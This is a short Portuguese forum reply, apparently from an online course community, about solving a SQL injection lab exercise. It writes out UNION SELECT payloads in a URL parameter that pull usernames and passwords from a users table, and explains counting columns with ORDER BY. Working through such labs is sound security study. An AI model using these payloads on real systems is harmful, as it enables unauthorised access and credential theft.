A solução dada pela professora foi adicionar na URL o seguinte:
category=Pets' union select * from users --
Mas isso gera Internal Server Error.
Como o laboratório já diz que a tabela users possui as colunas username e password, bastou fazer assim:
category=Pets' union select username, password from users --
O interessante é que a tabela users tem apenas duas colunas. Verifiquei isso fazendo o order by.
ORDER BY 2 na tabela users não dá erro, indicando que ela possui pelo menos duas colunas
ORDER BY 3 na tabela users dá erro, indicando que ela não possui a terceira coluna
Conte com o apoio da comunidade Alura na sua jornada. Abraços e bons estudos!